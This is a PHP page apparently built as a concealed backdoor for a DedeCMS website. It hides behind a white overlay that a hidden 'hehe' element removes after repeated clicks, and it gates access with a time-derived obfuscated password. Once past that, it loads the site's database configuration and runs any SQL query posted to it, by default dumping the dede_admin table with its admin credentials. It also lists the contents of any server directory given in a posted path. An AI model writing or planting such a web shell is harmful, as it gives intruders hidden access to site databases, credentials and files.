<!--单页-密码-查看数据文件-->
<?php
header("content-type:text/html;charset=utf-8");
session_start();
?>
<html>
	<head>
		<meta charset="UTF-8">
		<title>see_db</title>
		<style type="text/css">
.bai {
	width: 100%;
	height: 800px;
	background-color: white;
	position: absolute;
	z-index: 5;
	/*display: none;*/
}
#btn {
	cursor: default;
	color: white;
	margin-top: 300px;
}
		</style>
	</head>
	<body>
<div class="bai" id="bai"><span id="btn">hehe</span></div>
<p>现在时间：<span id="showtime" ></span></p>
<script type="text/javascript">
	var btn=document.getElementById('btn');
	var tag = 1;
	var dpwd="<?php echo $_SESSION['dpwd']; ?>" ? "<?php echo $_SESSION['dpwd']; ?>" : 'none';
	if(dpwd=='dpwd'){
		bai.style.display="none";
	}
	btn.onclick = function(){
		var bai=document.getElementById('bai');
	    if (tag == 1) {
	        tag++;
	    }else if(tag==8){
	        alert(tag);
	        bai.style.display="none";
	        tag++;
	    }else if(tag==999){
	    	alert('999');
	    	tag=1;
	    }else{
	    	tag++;
	    }
	}
	function getDate(){
		var date=new Date();
		var year=date.getFullYear();
		var month=date.getMonth();
		var day=date.getDate();
		var weeks=["日","一","二","三","四","五","六"];
		var week=date.getDay();
		var hours=date.getHours();
		var min=date.getMinutes();
		var sec=date.getSeconds();
		var str =year+"-"+month+"-"+day+" 星期"+weeks[week]+" "+hours+":"+min+":"+sec;
		document.getElementById("showtime").innerHTML=str;
	}
	setInterval("getDate()",1000);
</script>
<?php
$zm='lyesswlqbj';
$arrnum=array('37575451','37575451','195956535','91515457','735356595','37575859','91515253','195958575','735352515','37575451');
$now=date('Y-m-d H:i:s');
$i=substr($now, -2,1);
$s=substr($now, -1,1);
$mm=$zm{$i}.$zm{$s}.$arrnum[$s];
$nowt=$_SESSION['now']?$_SESSION['now']:$now;
echo "访问时刻：".$nowt."</br></br>";
//echo $_SESSION['mm'];
if(!$_SESSION['mm']){
	$_SESSION['mm']=$mm;
	$_SESSION['now']=$now;
}
if($_POST['dpwd']==$_SESSION['mm']){
	$_SESSION['dpwd'] = 'dpwd';
}elseif($_POST['dpwd']&&($_POST['dpwd']!=$_SESSION['mm'])){
	echo "<script>";
	echo "alert('错啦 ~_~！');";
	echo "window.location.href='#';";
	echo "</script>";
}
if(!$_SESSION['dpwd']){
	echo "<form action='#' method='post'>
			<input type='text' name='dpwd' value='' />
			<input type='submit' value='提交'/>
		</form>";
	exit();
}
include "../data/common.inc.php";
$sql=$_POST['sql']?$_POST['sql']:'select * from dede_admin';
$link=mysqli_connect($cfg_dbhost, $cfg_dbuser, $cfg_dbpwd);
mysqli_select_db($link,$cfg_dbname);
//mysqli_set_charset($link,$char);
$re=mysqli_query($link,$sql);
while($row=mysqli_fetch_assoc($re)){
	$arr[]=$row;
}
mysqli_free_result($re);
mysqli_close($link);
echo "<pre>";
print_r($arr);
echo "</pre>";
$path=$_SERVER['DOCUMENT_ROOT'];
$pathDir='../../'.substr($path, strrpos($path, '/')+1);
$path=$_POST['path']?$_POST['path']:$pathDir;
$arrdir=scandir($path);
$dir=array();
$file=array();
foreach($arrdir as $v){
	if($v!="."&&$v!='..'){
		if(is_dir($path.'/'.$v)){
			$dir[]=$v;
		}else{
			$file[]=$v;
		}
	}
}
echo "<pre>";
echo "dir:";
print_r($dir);
echo "file:";
print_r($file);
echo "</pre>";
?>
<form action="#" method="post">
	<input type="hidden" name="create" value="create" />
	<input type="text" name="sql" id="sql" style="width: 800px;" value="<?php echo $sql;?>" /> <br />
	<input type="text" name="path" id="path" style="width: 500px;" value="<?php echo $path;?>" />
	<input type="submit" value="See" />
</form>
	</body>
</html>